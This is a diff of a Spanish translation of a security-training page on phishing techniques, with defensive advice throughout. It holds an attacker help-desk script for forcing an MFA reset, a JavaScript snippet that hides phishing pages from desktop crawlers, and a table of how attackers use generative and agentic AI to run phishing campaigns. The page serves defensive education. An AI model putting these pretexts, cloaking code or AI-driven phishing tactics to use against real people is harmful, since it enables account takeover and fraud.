| * Bloquear dominios recién registrados y aplicar **Advanced DNS / URL Filtering** en *search-ads* además del email. | ||||
| * Bloquear dominios recién registrados y aplicar **Advanced DNS / URL Filtering** en *search-ads* así como en e-mail. | ||||
| * Restringir la instalación de software a paquetes MSI firmados / Store, denegar la ejecución de `HTA`, `ISO`, `VBS` por política. | ||||
| * Monitorizar procesos hijo de navegadores que abran instaladores: | ||||
| * Monitorizar procesos hijos de navegadores que abran instaladores: | ||||
| ```yaml | ||||
| - parent_image: /Program Files/Google/Chrome/* | ||||
| and child_image: *\\*.exe | ||||
| @ -504,18 +504,18 @@ and child_image: *\\*.exe | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## AI-Enhanced Phishing Operations | ||||
| Los atacantes ahora encadenan **APIs LLM & de clonación de voz** para cebos totalmente personalizados e interacción en tiempo real. | ||||
| ## Operaciones de phishing mejoradas con IA | ||||
| Los atacantes ahora encadenan **APIs LLM y de clonación de voz** para cebos totalmente personalizados e interacción en tiempo real. | ||||
| 
 | ||||
| | Layer | Example use by threat actor | | ||||
| |-------|-----------------------------| | ||||
| |Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.| | ||||
| |Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.| | ||||
| |Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.| | ||||
| | Capa | Ejemplo de uso por el actor de amenaza | | ||||
| |------|----------------------------------------| | ||||
| | Automatización | Generar y enviar >100 k emails / SMS con redacción aleatoria y enlaces de tracking. | | ||||
| | IA generativa | Producir correos *one-off* que hagan referencia a M&A públicas, chistes internos de redes sociales; voz deep-fake del CEO en una llamada de suplantación. | | ||||
| | IA agentiva | Registrar dominios de forma autónoma, raspar intel open-source, crear emails de siguiente etapa cuando una víctima hace clic pero no envía credenciales. | | ||||
| 
 | ||||
| **Defence:** | ||||
| • Añadir **banners dinámicos** que destaquen mensajes enviados desde automatización no confiable (mediante anomalías ARC/DKIM).   | ||||
| • Desplegar **frases de desafío biométricas de voz** para solicitudes telefónicas de alto riesgo.   | ||||
| **Defensa:** | ||||
| • Añadir **banners dinámicos** que destaquen mensajes enviados desde automatizaciones no confiables (por anomalías ARC/DKIM).   | ||||
| • Desplegar **frases de desafío biométrico de voz** para solicitudes telefónicas de alto riesgo.   | ||||
| • Simular continuamente cebos generados por IA en los programas de concienciación – las plantillas estáticas están obsoletas. | ||||
| 
 | ||||
| See also – agentic browsing abuse for credential phishing: | ||||
| @ -526,20 +526,20 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## MFA Fatigue / Push Bombing Variant – Forced Reset | ||||
| Además del push-bombing clásico, los operadores simplemente **forzan un nuevo registro MFA** durante la llamada al help-desk, anulando el token existente del usuario. Cualquier solicitud de inicio de sesión posterior parecerá legítima para la víctima. | ||||
| ## MFA Fatigue / Variante Push Bombing – Forced Reset | ||||
| Además del push-bombing clásico, los operadores simplemente **forzan un nuevo registro MFA** durante la llamada al help-desk, aniquilando el token existente del usuario. Cualquier solicitud de inicio de sesión subsecuente parecerá legítima para la víctima. | ||||
| ```text | ||||
| [Attacker]  →  Help-Desk:  “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” | ||||
| [Help-Desk] →  AzureAD: ‘Delete existing methods’ → sends registration e-mail | ||||
| [Attacker]  →  Completes new TOTP enrolment on their own device | ||||
| ``` | ||||
| Monitorear eventos de AzureAD/AWS/Okta donde **`deleteMFA` + `addMFA`** ocurran **en cuestión de minutos desde la misma IP**. | ||||
| Monitorea eventos de AzureAD/AWS/Okta donde **`deleteMFA` + `addMFA`** ocurran **en minutos desde la misma IP**. | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## Clipboard Hijacking / Pastejacking | ||||
| 
 | ||||
| Los atacantes pueden copiar silenciosamente comandos maliciosos en el clipboard de la víctima desde una página web comprometida o typosquatted y luego engañar al usuario para que los pegue en **Win + R**, **Win + X** o una ventana de terminal, ejecutando código arbitrario sin ninguna descarga o adjunto. | ||||
| Los atacantes pueden copiar silenciosamente comandos maliciosos en el portapapeles de la víctima desde una página web comprometida o typosquatted y luego engañar al usuario para que los pegue dentro de **Win + R**, **Win + X** o una ventana de terminal, ejecutando código arbitrario sin ninguna descarga o archivo adjunto. | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| @ -553,6 +553,33 @@ clipboard-hijacking.md | ||||
| mobile-phishing-malicious-apps.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### Mobile‑gated phishing to evade crawlers/sandboxes | ||||
| Los operadores cada vez más colocan sus flujos de phishing detrás de una comprobación simple del dispositivo para que los crawlers de escritorio nunca lleguen a las páginas finales. Un patrón común es un pequeño script que prueba si el DOM es compatible con touch y envía el resultado a un endpoint del servidor; los clientes no móviles reciben HTTP 500 (o una página en blanco), mientras que a los usuarios móviles se les sirve el flujo completo. | ||||
| 
 | ||||
| Minimal client snippet (typical logic): | ||||
| ```html | ||||
| <script src="/static/detect_device.js"></script> | ||||
| ``` | ||||
| `detect_device.js` lógica (simplificada): | ||||
| ```javascript | ||||
| const isMobile = ('ontouchstart' in document.documentElement); | ||||
| fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})}) | ||||
| .then(()=>location.reload()); | ||||
| ``` | ||||
| Comportamiento del servidor observado con frecuencia: | ||||
| - Establece una cookie de sesión durante la primera carga. | ||||
| - Acepta `POST /detect {"is_mobile":true|false}`. | ||||
| - Devuelve 500 (o placeholder) en GETs posteriores cuando `is_mobile=false`; sirve phishing solo si `true`. | ||||
| 
 | ||||
| Heurísticas de hunting y detección: | ||||
| - Consulta urlscan: `filename:"detect_device.js" AND page.status:500` | ||||
| - Telemetría web: secuencia de `GET /static/detect_device.js` → `POST /detect` → HTTP 500 para no‑móviles; rutas legítimas de víctimas móviles devuelven 200 con HTML/JS posterior. | ||||
| - Bloquear o escrutar páginas que condicionen el contenido exclusivamente a `ontouchstart` u otras comprobaciones de dispositivo similares. | ||||
| 
 | ||||
| Consejos de defensa: | ||||
| - Ejecutar crawlers con fingerprints de tipo móvil y JS habilitado para revelar contenido restringido. | ||||
| - Generar alertas por respuestas 500 sospechosas tras `POST /detect` en dominios recién registrados. | ||||
| 
 | ||||
| ## Referencias | ||||
| 
 | ||||
| - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) | ||||
| @ -560,5 +587,6 @@ mobile-phishing-malicious-apps.md | ||||
| - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) | ||||
| - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) | ||||
| - [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user